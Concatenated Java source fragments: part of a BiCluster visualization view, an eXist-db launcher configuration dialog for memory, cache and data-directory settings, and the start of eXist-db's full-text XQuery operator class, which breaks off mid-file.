List<TablePerspective> initTablePerspectives() { int bcCountData = l.getDataDomain().getTable().getColumnIDList().size(); // Nr of BCs in L & Z ATableBasedDataDomain xDataDomain = x.getDataDomain(); Table xtable = xDataDomain.getTable(); IDType xdimtype = xDataDomain.getDimensionIDType(); IDType xrectype = xDataDomain.getRecordIDType(); List<TablePerspective> persp = new ArrayList<>(); for (Integer i = 0; i < bcCountData; i++) { Perspective dim = new Perspective(xDataDomain, xdimtype); Perspective rec = new Perspective(xDataDomain, xrectype); PerspectiveInitializationData dim_init = new PerspectiveInitializationData(); PerspectiveInitializationData rec_init = new PerspectiveInitializationData(); dim_init.setData(new ArrayList<Integer>()); rec_init.setData(new ArrayList<Integer>()); dim.init(dim_init); rec.init(rec_init); xtable.registerDimensionPerspective(dim, false); xtable.registerRecordPerspective(rec, false); String dimKey = dim.getPerspectiveID(); String recKey = rec.getPerspectiveID(); TablePerspective custom = xDataDomain.getTablePerspective(recKey, dimKey, false); custom.setLabel(i.toString()); persp.add(custom); } return persp; } protected void createBiClusterPerspectives(TablePerspective x, TablePerspective l, TablePerspective z) { System.out.println("Erstelle Cluster mit SampleTH: " + sampleThreshold); System.out.println(" RecordTH: " + geneThreshold); Table L = l.getDataDomain().getTable(); Table Z = z.getDataDomain().getTable(); int bcCountData = L.getColumnIDList().size(); // Nr of BCs in L & Z // Tables indices for Genes and Tables of a specific BiCluster. Map<Integer, Future<List<Integer>>> bcDimScanFut = new HashMap<>(); Map<Integer, Future<List<Integer>>> bcRecScanFut = new HashMap<>(); for (int bcNr = 0; bcNr < bcCountData; bcNr++) { Future<List<Integer>> recList = executorService.submit(new ScanProbabilityMatrix(geneThreshold, L, bcNr)); Future<List<Integer>> dimList = executorService.submit(new ScanProbabilityMatrix(sampleThreshold, Z, bcNr)); bcRecScanFut.put(bcNr, recList); bcDimScanFut.put(bcNr, dimList); } // actually alter the cluster perspectives for (Integer i : bcDimScanFut.keySet()) { try { List<Integer> dimIndices = bcDimScanFut.get(i).get(); List<Integer> recIndices = bcRecScanFut.get(i).get(); ClusterElement el = (ClusterElement) getRoot().get(i); el.setIndices(dimIndices, recIndices, setXElements); // el.setPerspectiveLabel(dimensionName, recordName) } catch (InterruptedException | ExecutionException | NullPointerException e) { e.printStackTrace(); } } glBiClusterElement.resetDamping(); } /** * determines which of the given {@link TablePerspective} is L and Z, given the known X table * * @param a * @param b */ private Pair<TablePerspective, TablePerspective> findLZ(TablePerspective x, TablePerspective a, TablePerspective b) { // row: gene, row: gene if (a.getDataDomain().getRecordIDCategory().equals(x.getDataDomain().getRecordIDCategory())) { return Pair.make(a, b); } else { return Pair.make(b, a); } } /** * infers the X,L,Z tables from the dimension and record ID categories, as L and Z has the same Dimension ID * Category, the remaining one will be X */ private void findXLZ() { TablePerspective a = perspectives.get(0); TablePerspective b = perspectives.get(1); TablePerspective c = perspectives.get(2); IDCategory a_d = a.getDataDomain().getDimensionIDCategory(); IDCategory b_d = b.getDataDomain().getDimensionIDCategory(); IDCategory c_d = c.getDataDomain().getDimensionIDCategory(); Pair<TablePerspective, TablePerspective> lz; if (a_d.equals(b_d)) { x = c; lz = findLZ(x, a, b); } else if (a_d.equals(c_d)) { x = b; lz = findLZ(x, a, c); } else { x = a; lz = findLZ(x, b, c); } l = lz.getFirst(); z = lz.getSecond(); } @Override public List<AGLView> getRemoteRenderedViews() { // TODO Auto-generated method stub return null; } @Override public boolean isDataView() { return true; } @Override public ASerializedView getSerializableRepresentation() { SerializedBiClusterView serializedForm = new SerializedBiClusterView(this); serializedForm.setViewID(this.getID()); return serializedForm; } @Override public String toString() { return "BiCluster"; } @Override public void registerEventListeners() { super.registerEventListeners(); eventListeners.register(AddTablePerspectivesEvent.class, new AddTablePerspectivesListener().setHandler(this)); eventListeners.register(RemoveTablePerspectiveEvent.class, new RemoveTablePerspectiveListener().setHandler(this)); } @Override public IDataSupportDefinition getDataSupportDefinition() { return DataSupportDefinitions.tableBased; } @Override public void addTablePerspective(TablePerspective newTablePerspective) { if (this.perspectives.contains(newTablePerspective)) return; this.perspectives.add(newTablePerspective); if (getRoot() != null && perspectives.size() == 3) { findXLZ(); getRoot().setData(initTablePerspectives()); createBiClusterPerspectives(x, l, z); } fireTablePerspectiveChanged(); } @Override public void addTablePerspectives(List<TablePerspective> newTablePerspectives) { this.perspectives.addAll(newTablePerspectives); if (getRoot() != null && perspectives.size() == 3) { findXLZ(); getRoot().setData(initTablePerspectives()); createBiClusterPerspectives(x, l, z); } fireTablePerspectiveChanged(); } @Override public List<TablePerspective> getTablePerspectives() { return perspectives; } @Override public Set<IDataDomain> getDataDomains() { Set<IDataDomain> dataDomains = new HashSet<IDataDomain>(); for (TablePerspective tablePerspective : perspectives) { dataDomains.add(tablePerspective.getDataDomain()); } return dataDomains; } @Override protected GLBiClusterElement getRoot() { return (GLBiClusterElement) super.getRoot(); } @Override protected GLElement createRoot() { glBiClusterElement = new GLBiClusterElement(this); return glBiClusterElement; } @Override public void removeTablePerspective(TablePerspective tablePerspective) { for (Iterator<TablePerspective> it = perspectives.iterator(); it.hasNext();) { if (it.next() == tablePerspective) it.remove(); } if (getRoot() != null && this.perspectives.size() < 3) { getRoot().setData(null); } fireTablePerspectiveChanged(); } private void fireTablePerspectiveChanged() { GeneralManager.get().getEventPublisher().triggerEvent(new TablePerspectivesChangedEvent(this).from(this)); } @ListenTo private void handleUpdate(ToolbarEvent event) { geneThreshold = event.getGeneThreshold(); sampleThreshold = event.getSampleThreshold(); if (x != null && l != null && z != null) { createBiClusterPerspectives(x, l, z); } } }
package org.exist.launcher; import java.awt.Dimension; import java.awt.Toolkit; import java.io.File; import java.io.IOException; import java.util.Collection; import java.util.Properties; import java.util.logging.Level; import java.util.logging.Logger; import javax.swing.*; import javax.xml.transform.TransformerException; import org.apache.commons.io.FileUtils; import org.apache.commons.lang3.SystemUtils; import org.exist.storage.BrokerPool; import org.exist.storage.CollectionCacheManager; import org.exist.storage.DefaultCacheManager; import org.exist.util.Configuration; import org.exist.util.ConfigurationHelper; import org.exist.util.DatabaseConfigurationException; /** * * @author wolf */ public class ConfigurationDialog extends JDialog { private final Launcher launcher; private boolean changed = false; private boolean dataDirChanged = false; private boolean beforeStart = false; /** * Creates new form ConfigurationDialog */ public ConfigurationDialog(Launcher launcher) { setModal(true); setTitle("eXist-db Configuration"); initComponents(); this.launcher = launcher; final Properties vmProperties = LauncherWrapper.getVMProperties(); try { Configuration existConfig = new Configuration(); final int cacheSizeProp = existConfig.getInteger(DefaultCacheManager.PROPERTY_CACHE_SIZE); cacheSize.setValue(new Integer(cacheSizeProp)); final int collectionCacheProp = existConfig.getInteger(CollectionCacheManager.PROPERTY_CACHE_SIZE); collectionCache.setValue(new Integer(collectionCacheProp)); final String dir = existConfig.getProperty(BrokerPool.PROPERTY_DATA_DIR).toString(); dataDir.setText(dir); } catch (DatabaseConfigurationException ex) { Logger.getLogger(ConfigurationDialog.class.getName()).log(Level.SEVERE, null, ex); } final String maxMemProp = vmProperties.getProperty("memory.max", "1024"); maxMemory.setValue(new Integer(maxMemProp)); final String minMemProp = vmProperties.getProperty("memory.min", "64"); minMemory.setValue(new Integer(minMemProp)); checkCacheBoundaries(); changed = false; final Dimension d = Toolkit.getDefaultToolkit().getScreenSize(); this.setLocation(d.width - this.getWidth() - 40, 60); //setLocationRelativeTo(null); setAlwaysOnTop(true); } public void open(boolean firstStart) { if (firstStart) { beforeStart = true; // always check data dir on first start dataDirChanged = true; btnCancel.setVisible(false); lbStartupMsg.setVisible(true); separator.setVisible(true); if (SystemUtils.IS_OS_MAC_OSX) { File dir = new File(System.getProperty("user.home") + "/Library/Application Support/org.exist"); dataDir.setText(dir.getAbsolutePath()); } } else { lbStartupMsg.setVisible(false); separator.setVisible(false); } setVisible(true); requestFocus(); } /** * This method is called from within the constructor to initialize the form. * WARNING: Do NOT modify this code. The content of this method is always * regenerated by the Form Editor. */ @SuppressWarnings("unchecked") // <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents private void initComponents() { java.awt.GridBagConstraints gridBagConstraints; lbExistLogo = new javax.swing.JLabel(); separator = new javax.swing.JSeparator(); jLabel1 = new javax.swing.JLabel(); minMemory = new javax.swing.JSpinner(); jLabel2 = new javax.swing.JLabel(); maxMemory = new javax.swing.JSpinner(); jLabel3 = new javax.swing.JLabel(); jLabel4 = new javax.swing.JLabel(); jLabel5 = new javax.swing.JLabel(); cacheSize = new javax.swing.JSpinner(); jLabel7 = new javax.swing.JLabel(); collectionCache = new javax.swing.JSpinner(); jLabel8 = new javax.swing.JLabel(); lbCurrentUsage = new javax.swing.JLabel(); lbStartupMsg = new javax.swing.JLabel(); jLabel9 = new javax.swing.JLabel(); jLabel10 = new javax.swing.JLabel(); dataDir = new javax.swing.JTextField(); jLabel11 = new javax.swing.JLabel(); btnPanel = new javax.swing.JPanel(); btnCancel = new javax.swing.JButton(); btnSave = new javax.swing.JButton(); btnSelectDir = new javax.swing.JButton(); setTitle("eXist-db Configuration"); getContentPane().setLayout(new java.awt.GridBagLayout()); lbExistLogo.setIcon(new javax.swing.ImageIcon(getClass().getResource("/org/exist/client/icons/x.png"))); // NOI18N gridBagConstraints = new java.awt.GridBagConstraints(); gridBagConstraints.gridx = 0; gridBagConstraints.gridy = 0; gridBagConstraints.gridheight = 6; gridBagConstraints.insets = new java.awt.Insets(0, 16, 0, 6); getContentPane().add(lbExistLogo, gridBagConstraints); gridBagConstraints = new java.awt.GridBagConstraints(); gridBagConstraints.gridx = 1; gridBagConstraints.gridy = 1; gridBagConstraints.gridwidth = 4; gridBagConstraints.fill = java.awt.GridBagConstraints.HORIZONTAL; gridBagConstraints.insets = new java.awt.Insets(0, 20, 0, 22); getContentPane().add(separator, gridBagConstraints); jLabel1.setText("Min Memory"); gridBagConstraints = new java.awt.GridBagConstraints(); gridBagConstraints.gridx = 1; gridBagConstraints.gridy = 4; gridBagConstraints.anchor = java.awt.GridBagConstraints.WEST; gridBagConstraints.insets = new java.awt.Insets(0, 22, 0, 0); getContentPane().add(jLabel1, gridBagConstraints); minMemory.setModel(new javax.swing.SpinnerNumberModel(64, 64, 256, 64)); minMemory.addChangeListener(new javax.swing.event.ChangeListener() { public void stateChanged(javax.swing.event.ChangeEvent evt) { minMemoryStateChanged(evt); } }); gridBagConstraints = new java.awt.GridBagConstraints(); gridBagConstraints.gridx = 3; gridBagConstraints.gridy = 4; gridBagConstraints.fill = java.awt.GridBagConstraints.HORIZONTAL; gridBagConstraints.ipadx = 1; gridBagConstraints.anchor = java.awt.GridBagConstraints.NORTHWEST; getContentPane().add(minMemory, gridBagConstraints); jLabel2.setText("Max Memory"); gridBagConstraints = new java.awt.GridBagConstraints(); gridBagConstraints.gridx = 1; gridBagConstraints.gridy = 5; gridBagConstraints.anchor = java.awt.GridBagConstraints.WEST; gridBagConstraints.insets = new java.awt.Insets(0, 22, 0, 0); getContentPane().add(jLabel2, gridBagConstraints); maxMemory.setModel(new javax.swing.SpinnerNumberModel(Integer.valueOf(1024), Integer.valueOf(512), null, Integer.valueOf(64))); maxMemory.addChangeListener(new javax.swing.event.ChangeListener() { public void stateChanged(javax.swing.event.ChangeEvent evt) { maxMemoryChanged(evt); } }); gridBagConstraints = new java.awt.GridBagConstraints(); gridBagConstraints.gridx = 3; gridBagConstraints.gridy = 5; gridBagConstraints.fill = java.awt.GridBagConstraints.HORIZONTAL; gridBagConstraints.ipadx = 1; gridBagConstraints.anchor = java.awt.GridBagConstraints.NORTHWEST; getContentPane().add(maxMemory, gridBagConstraints); jLabel3.setFont(jLabel3.getFont().deriveFont(jLabel3.getFont().getStyle() | java.awt.Font.BOLD)); jLabel3.setText("Java Memory"); gridBagConstraints = new java.awt.GridBagConstraints(); gridBagConstraints.gridx = 1; gridBagConstraints.gridy = 2; gridBagConstraints.gridwidth = 4; gridBagConstraints.anchor = java.awt.GridBagConstraints.NORTHWEST; gridBagConstraints.insets = new java.awt.Insets(26, 22, 16, 0); getContentPane().add(jLabel3, gridBagConstraints); jLabel4.setFont(jLabel4.getFont().deriveFont(jLabel4.getFont().getStyle() | java.awt.Font.BOLD)); jLabel4.setText("Caches"); gridBagConstraints = new java.awt.GridBagConstraints(); gridBagConstraints.gridx = 1; gridBagConstraints.gridy = 6; gridBagConstraints.anchor = java.awt.GridBagConstraints.NORTHWEST; gridBagConstraints.insets = new java.awt.Insets(26, 22, 16, 0); getContentPane().add(jLabel4, gridBagConstraints); jLabel5.setText("General Cache"); gridBagConstraints = new java.awt.GridBagConstraints(); gridBagConstraints.gridx = 1; gridBagConstraints.gridy = 7; gridBagConstraints.anchor = java.awt.GridBagConstraints.WEST; gridBagConstraints.insets = new java.awt.Insets(0, 22, 0, 0); getContentPane().add(jLabel5, gridBagConstraints); cacheSize.setModel(new javax.swing.SpinnerNumberModel(128, 48, 256, 16)); cacheSize.addChangeListener(new javax.swing.event.ChangeListener() { public void stateChanged(javax.swing.event.ChangeEvent evt) { cacheSizeStateChanged(evt); } }); gridBagConstraints = new java.awt.GridBagConstraints(); gridBagConstraints.gridx = 3; gridBagConstraints.gridy = 7; gridBagConstraints.fill = java.awt.GridBagConstraints.HORIZONTAL; gridBagConstraints.ipadx = 1; gridBagConstraints.anchor = java.awt.GridBagConstraints.NORTHWEST; getContentPane().add(cacheSize, gridBagConstraints); jLabel7.setText("Collection Cache"); gridBagConstraints = new java.awt.GridBagConstraints(); gridBagConstraints.gridx = 1; gridBagConstraints.gridy = 8; gridBagConstraints.anchor = java.awt.GridBagConstraints.WEST; gridBagConstraints.insets = new java.awt.Insets(0, 22, 0, 0); getContentPane().add(jLabel7, gridBagConstraints); collectionCache.setModel(new javax.swing.SpinnerNumberModel(48, 48, 256, 16)); collectionCache.addChangeListener(new javax.swing.event.ChangeListener() { public void stateChanged(javax.swing.event.ChangeEvent evt) { collectionCacheStateChanged(evt); } }); gridBagConstraints = new java.awt.GridBagConstraints(); gridBagConstraints.gridx = 3; gridBagConstraints.gridy = 8; gridBagConstraints.fill = java.awt.GridBagConstraints.HORIZONTAL; gridBagConstraints.ipadx = 1; gridBagConstraints.anchor = java.awt.GridBagConstraints.NORTHWEST; getContentPane().add(collectionCache, gridBagConstraints); jLabel8.setText("<html><p>Memory settings only become effective after restart and only apply when eXist is started via the system tray launcher.</p></html>"); jLabel8.setPreferredSize(new java.awt.Dimension(280, 48)); gridBagConstraints = new java.awt.GridBagConstraints(); gridBagConstraints.gridx = 4; gridBagConstraints.gridy = 4; gridBagConstraints.gridheight = 2; gridBagConstraints.fill = java.awt.GridBagConstraints.HORIZONTAL; gridBagConstraints.anchor = java.awt.GridBagConstraints.WEST; gridBagConstraints.weightx = 1.0; gridBagConstraints.insets = new java.awt.Insets(0, 13, 0, 22); getContentPane().add(jLabel8, gridBagConstraints); lbCurrentUsage.setText("Memory usage:"); gridBagConstraints = new java.awt.GridBagConstraints(); gridBagConstraints.gridx = 1; gridBagConstraints.gridy = 3; gridBagConstraints.gridwidth = 4; gridBagConstraints.anchor = java.awt.GridBagConstraints.NORTHWEST; gridBagConstraints.insets = new java.awt.Insets(12, 22, 12, 0); getContentPane().add(lbCurrentUsage, gridBagConstraints); lbStartupMsg.setFont(lbStartupMsg.getFont().deriveFont(lbStartupMsg.getFont().getStyle() | java.awt.Font.BOLD)); lbStartupMsg.setText("<html><p>It seems you are starting eXist for the first time. Please configure your memory settings below.</p></html>"); lbStartupMsg.setMinimumSize(new java.awt.Dimension(60, 64)); lbStartupMsg.setPreferredSize(new java.awt.Dimension(300, 32)); gridBagConstraints = new java.awt.GridBagConstraints(); gridBagConstraints.gridx = 1; gridBagConstraints.gridy = 0; gridBagConstraints.gridwidth = 4; gridBagConstraints.fill = java.awt.GridBagConstraints.HORIZONTAL; gridBagConstraints.anchor = java.awt.GridBagConstraints.WEST; gridBagConstraints.weightx = 1.0; gridBagConstraints.insets = new java.awt.Insets(27, 22, 0, 0); getContentPane().add(lbStartupMsg, gridBagConstraints); jLabel9.setText("<html><p>Changing the data directory will create an empty database in the new location (unless there's already data in it).</p></html>"); jLabel9.setPreferredSize(new java.awt.Dimension(280, 48)); gridBagConstraints = new java.awt.GridBagConstraints(); gridBagConstraints.gridx = 4; gridBagConstraints.gridy = 10; gridBagConstraints.fill = java.awt.GridBagConstraints.HORIZONTAL; gridBagConstraints.anchor = java.awt.GridBagConstraints.WEST; gridBagConstraints.weightx = 1.0; gridBagConstraints.insets = new java.awt.Insets(0, 13, 0, 22); getContentPane().add(jLabel9, gridBagConstraints); jLabel10.setFont(jLabel10.getFont().deriveFont(jLabel10.getFont().getStyle() | java.awt.Font.BOLD)); jLabel10.setText("Data Directory"); gridBagConstraints = new java.awt.GridBagConstraints(); gridBagConstraints.gridx = 1; gridBagConstraints.gridy = 9; gridBagConstraints.anchor = java.awt.GridBagConstraints.WEST; gridBagConstraints.insets = new java.awt.Insets(26, 22, 16, 0); getContentPane().add(jLabel10, gridBagConstraints); dataDir.setMinimumSize(new java.awt.Dimension(180, 28)); dataDir.setPreferredSize(new java.awt.Dimension(180, 28)); dataDir.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { dataDirActionPerformed(evt); } }); gridBagConstraints = new java.awt.GridBagConstraints(); gridBagConstraints.gridx = 1; gridBagConstraints.gridy = 10; gridBagConstraints.gridwidth = 2; gridBagConstraints.fill = java.awt.GridBagConstraints.HORIZONTAL; gridBagConstraints.anchor = java.awt.GridBagConstraints.WEST; gridBagConstraints.insets = new java.awt.Insets(0, 22, 0, 0); getContentPane().add(dataDir, gridBagConstraints); jLabel11.setText("<html><p>Total cache size should not exceed 1/3 of max memory unless you have more than 2gb available.</p></html>"); jLabel11.setPreferredSize(new java.awt.Dimension(280, 48)); gridBagConstraints = new java.awt.GridBagConstraints(); gridBagConstraints.gridx = 4; gridBagConstraints.gridy = 7; gridBagConstraints.gridheight = 2; gridBagConstraints.fill = java.awt.GridBagConstraints.HORIZONTAL; gridBagConstraints.anchor = java.awt.GridBagConstraints.WEST; gridBagConstraints.weightx = 1.0; gridBagConstraints.insets = new java.awt.Insets(0, 13, 0, 22); getContentPane().add(jLabel11, gridBagConstraints); btnPanel.setLayout(new java.awt.FlowLayout(java.awt.FlowLayout.RIGHT)); btnCancel.setText("Cancel"); btnCancel.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { btnCancelActionPerformed(evt); } }); btnPanel.add(btnCancel); btnSave.setText("Save"); btnSave.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { saveConfig(evt); } }); btnPanel.add(btnSave); gridBagConstraints = new java.awt.GridBagConstraints(); gridBagConstraints.gridx = 1; gridBagConstraints.gridy = 11; gridBagConstraints.gridwidth = 4; gridBagConstraints.fill = java.awt.GridBagConstraints.HORIZONTAL; gridBagConstraints.anchor = java.awt.GridBagConstraints.SOUTHEAST; gridBagConstraints.weightx = 1.0; gridBagConstraints.insets = new java.awt.Insets(36, 13, 8, 0); getContentPane().add(btnPanel, gridBagConstraints); btnSelectDir.setText("Select"); btnSelectDir.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { btnSelectDirActionPerformed(evt); } }); gridBagConstraints = new java.awt.GridBagConstraints(); gridBagConstraints.gridx = 3; gridBagConstraints.gridy = 10; getContentPane().add(btnSelectDir, gridBagConstraints); pack(); }// </editor-fold>//GEN-END:initComponents private void btnCancelActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_btnCancelActionPerformed setVisible(false); }//GEN-LAST:event_btnCancelActionPerformed private void maxMemoryChanged(javax.swing.event.ChangeEvent evt) {//GEN-FIRST:event_maxMemoryChanged checkCacheBoundaries(); changed = true; }//GEN-LAST:event_maxMemoryChanged private boolean checkDataDir() { if (!dataDirChanged) return true; File dir = new File(dataDir.getText()); if (dir.exists()) { Collection<File> files = FileUtils.listFiles(dir, new String[]{"dbx"}, false); if (files.size() > 0) { final int r = JOptionPane.showConfirmDialog(this, "The specified data directory already contains data. " + "Do you want to use this? Data will not be removed.", "Confirm Data Directory", JOptionPane.OK_CANCEL_OPTION, JOptionPane.WARNING_MESSAGE); if (r == JOptionPane.OK_OPTION) { return true; } return false; } } else { final int r = JOptionPane.showConfirmDialog(this, "The specified data directory does not exist. Do you want to create it?", "Create data directory?", JOptionPane.YES_NO_OPTION, JOptionPane.QUESTION_MESSAGE); if (r == JOptionPane.YES_OPTION) { try { FileUtils.forceMkdir(dir); } catch (IOException e) { JOptionPane.showMessageDialog(this, "Failed to create data directory: " + dir.getAbsolutePath(), "Failed to create directory", JOptionPane.ERROR_MESSAGE); return false; } return true; } return false; } if (!dir.canWrite()) { JOptionPane.showMessageDialog(this, "The specified data directory is not writable. " + "Please choose a different one.", "Data Directory Error", JOptionPane.ERROR_MESSAGE); return false; } return true; } private void saveConfig(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_saveConfig if (!beforeStart && !changed && !dataDirChanged) { setVisible(false); return; } if (!checkDataDir()) return; try { Properties properties = new Properties(); properties.setProperty("memory.max", maxMemory.getValue().toString()); properties.setProperty("memory.min", minMemory.getValue().toString()); ConfigurationUtility.saveProperties(properties); properties.clear(); properties.setProperty("cacheSize", cacheSize.getValue().toString()); properties.setProperty("collectionCache", collectionCache.getValue().toString()); properties.setProperty("dataDir", dataDir.getText()); ConfigurationUtility.saveConfiguration(properties); if (beforeStart) { beforeStart = false; btnCancel.setVisible(true); setVisible(false); this.launcher.shutdown(true); } else if (changed || dataDirChanged) { int r = JOptionPane.showConfirmDialog(this, "Database needs to be restarted to apply the " + "new settings.", "Confirm restart", JOptionPane.YES_NO_OPTION, JOptionPane.WARNING_MESSAGE); if (r == JOptionPane.YES_OPTION) { changed = false; dataDirChanged = false; this.launcher.shutdown(true); } } } catch (IOException e) { e.printStackTrace(); JOptionPane.showMessageDialog(this, "Failed to save Java settings: " + e.getMessage(), "Save Error", JOptionPane.ERROR_MESSAGE); } catch (TransformerException e) { e.printStackTrace(); JOptionPane.showMessageDialog(this, "Failed to save configuration: " + e.getMessage() + " at " + e.getLocationAsString(), "Save Error", JOptionPane.ERROR_MESSAGE); } }//GEN-LAST:event_saveConfig private void cacheSizeStateChanged(javax.swing.event.ChangeEvent evt) {//GEN-FIRST:event_cacheSizeStateChanged changed = true; checkCacheBoundaries(); }//GEN-LAST:event_cacheSizeStateChanged private void collectionCacheStateChanged(javax.swing.event.ChangeEvent evt) {//GEN-FIRST:event_collectionCacheStateChanged changed = true; }//GEN-LAST:event_collectionCacheStateChanged private void minMemoryStateChanged(javax.swing.event.ChangeEvent evt) {//GEN-FIRST:event_minMemoryStateChanged changed = true; }//GEN-LAST:event_minMemoryStateChanged private void dataDirActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_dataDirActionPerformed dataDirChanged = true; }//GEN-LAST:event_dataDirActionPerformed private void btnSelectDirActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_btnSelectDirActionPerformed File currentDir = new File(dataDir.getText()); if (!currentDir.exists()) { currentDir = ConfigurationHelper.getExistHome(); } final JFileChooser chooser = new JFileChooser(); chooser.setMultiSelectionEnabled(false); chooser.setFileSelectionMode(JFileChooser.DIRECTORIES_ONLY); chooser.setCurrentDirectory(currentDir); if(chooser.showDialog(this, "Choose Data Directory") == JFileChooser.APPROVE_OPTION) { dataDir.setText(chooser.getSelectedFile().getAbsolutePath()); dataDirChanged = true; } }//GEN-LAST:event_btnSelectDirActionPerformed private void checkCacheBoundaries() { showCurrentMem(); final int max = (Integer)maxMemory.getValue(); final SpinnerNumberModel cacheModel = (SpinnerNumberModel) cacheSize.getModel(); final SpinnerNumberModel collectionCacheModel = (SpinnerNumberModel) collectionCache.getModel(); int maxCache; if (max <= 2048) { maxCache = (max / 3); } else { maxCache = (max / 2); } cacheModel.setMaximum(maxCache - 48); if (cacheModel.getMaximum().compareTo(cacheModel.getValue()) < 0) { cacheModel.setValue(cacheModel.getMaximum()); } collectionCacheModel.setMaximum(maxCache - (Integer)cacheModel.getValue()); lbCurrentUsage.setText( String.format("maxCache: %d cacheSize: %d collectionMax: %d mem: %d\n", maxCache, cacheModel.getValue(), collectionCacheModel.getMaximum(), max) ); if (collectionCacheModel.getMaximum().compareTo(collectionCacheModel.getValue()) < 0) { collectionCacheModel.setValue(collectionCacheModel.getMaximum()); } } private void showCurrentMem() { lbCurrentUsage.setText("Memory usage: " + (Runtime.getRuntime().freeMemory() / 1024 / 1024) + " free/" + (Runtime.getRuntime().maxMemory() / 1024 / 1024) + " max mb"); } // Variables declaration - do not modify//GEN-BEGIN:variables private javax.swing.JButton btnCancel; private javax.swing.JPanel btnPanel; private javax.swing.JButton btnSave; private javax.swing.JButton btnSelectDir; private javax.swing.JSpinner cacheSize; private javax.swing.JSpinner collectionCache; private javax.swing.JTextField dataDir; private javax.swing.JLabel jLabel1; private javax.swing.JLabel jLabel10; private javax.swing.JLabel jLabel11; private javax.swing.JLabel jLabel2; private javax.swing.JLabel jLabel3; private javax.swing.JLabel jLabel4; private javax.swing.JLabel jLabel5; private javax.swing.JLabel jLabel7; private javax.swing.JLabel jLabel8; private javax.swing.JLabel jLabel9; private javax.swing.JLabel lbCurrentUsage; private javax.swing.JLabel lbExistLogo; private javax.swing.JLabel lbStartupMsg; private javax.swing.JSpinner maxMemory; private javax.swing.JSpinner minMemory; private javax.swing.JSeparator separator; // End of variables declaration//GEN-END:variables }
package org.exist.xquery.functions; import java.util.ArrayList; import java.util.Iterator; import java.util.List; import org.exist.EXistException; import org.exist.collections.Collection; import org.exist.dom.DocumentSet; import org.exist.dom.ExtArrayNodeSet; import org.exist.dom.NodeSet; import org.exist.dom.QName; import org.exist.storage.DBBroker; import org.exist.storage.ElementValue; import org.exist.storage.FulltextIndexSpec; import org.exist.storage.IndexSpec; import org.exist.storage.analysis.Tokenizer; import org.exist.xmldb.XmldbURI; import org.exist.xquery.AnalyzeContextInfo; import org.exist.xquery.BasicExpressionVisitor; import org.exist.xquery.CachedResult; import org.exist.xquery.Cardinality; import org.exist.xquery.Constants; import org.exist.xquery.Dependency; import org.exist.xquery.Expression; import org.exist.xquery.ExpressionVisitor; import org.exist.xquery.Function; import org.exist.xquery.FunctionSignature; import org.exist.xquery.LocationStep; import org.exist.xquery.NodeTest; import org.exist.xquery.Optimizable; import org.exist.xquery.PathExpr; import org.exist.xquery.XPathException; import org.exist.xquery.XQueryContext; import org.exist.xquery.util.ExpressionDumper; import org.exist.xquery.value.Item; import org.exist.xquery.value.Sequence; import org.exist.xquery.value.SequenceIterator; import org.exist.xquery.value.SequenceType; import org.exist.xquery.value.Type; /** * Implements the fulltext operators: &amp;= and |=. * * This is internally handled like a special function and thus inherits * from {@link org.exist.xquery.Function}. * * @author wolf */ public class ExtFulltext extends Function implements Optimizable { public final static FunctionSignature signature = new FunctionSignature( //TODO : change this ! -pb new QName("contains", Function.BUILTIN_FUNCTION_NS), new SequenceType[] { new SequenceType(Type.NODE, Cardinality.ZERO_OR_MORE) }, new SequenceType(Type.NODE, Cardinality.ZERO_OR_MORE) ); protected PathExpr path; protected Expression searchTerm = null; protected int type = Constants.FULLTEXT_AND; protected CachedResult cached = null; private LocationStep contextStep = null; protected QName contextQName = null; protected boolean optimizeSelf = false; protected NodeSet preselectResult = null; public ExtFulltext(XQueryContext context, int type) { super(context, signature); this.type = type; } public void addTerm(Expression term) { if (term instanceof PathExpr) { if (((PathExpr) term).getLength() == 1) term = ((PathExpr) term).getExpression(0); } searchTerm = term; } /* (non-Javadoc) * @see org.exist.xquery.Function#analyze(org.exist.xquery.AnalyzeContextInfo) */ public void analyze(AnalyzeContextInfo contextInfo) throws XPathException { contextInfo.setParent(this); path.analyze(contextInfo); searchTerm.analyze(contextInfo); LocationStep step = BasicExpressionVisitor.findFirstStep(path); if (step != null) { if (step.getAxis() == Constants.SELF_AXIS) { Expression outerExpr = contextInfo.getContextStep(); if (outerExpr != null && outerExpr instanceof LocationStep) { LocationStep outerStep = (LocationStep) outerExpr; NodeTest test = outerStep.getTest(); if (!test.isWildcardTest() && test.getName() != null) { contextQName = new QName(test.getName()); if (step.getAxis() == Constants.ATTRIBUTE_AXIS || step.getAxis() == Constants.DESCENDANT_ATTRIBUTE_AXIS) contextQName.setNameType(ElementValue.ATTRIBUTE); contextStep = step; optimizeSelf = true; } } } else { NodeTest test = step.getTest(); if (!test.isWildcardTest() && test.getName() != null) { contextQName = new QName(test.getName()); if (step.getAxis() == Constants.ATTRIBUTE_AXIS || step.getAxis() == Constants.DESCENDANT_ATTRIBUTE_AXIS) contextQName.setNameType(ElementValue.ATTRIBUTE); contextStep = step; } } } } public boolean canOptimize(Sequence contextSequence, Item contextItem) { if (contextQName == null) return false; return checkForQNameIndex(contextSequence); } public boolean optimizeOnSelf() { return optimizeSelf; } public NodeSet preSelect(Sequence contextSequence, Item contextItem) throws XPathException { if (contextItem != null) contextSequence = contextItem.toSequence(); // get the search terms String arg = searchTerm.eval(contextSequence).getStringValue(); String[] terms; try { terms = getSearchTerms(arg); } catch (EXistException e) { throw new XPathException(e.getMessage(), e); } // lookup the terms in the fulltext index. returns one node set for each term NodeSet[] hits = getMatches(contextSequence.getDocumentSet(), null, contextQName, terms); // walk through the matches and compute the combined node set preselectResult = hits[0]; if (preselectResult != null) { for(int k = 1; k < hits.length; k++) { if(hits[k] != null) { preselectResult = (type == Constants.FULLTEXT_AND ? preselectResult.deepIntersection(hits[k]) : preselectResult.union(hits[k])); } } } else { preselectResult = NodeSet.EMPTY_SET; } return preselectResult; } public Sequence eval( Sequence contextSequence, Item contextItem) throws XPathException { // if we were optimizing and the preselect did not return anything, // we won't 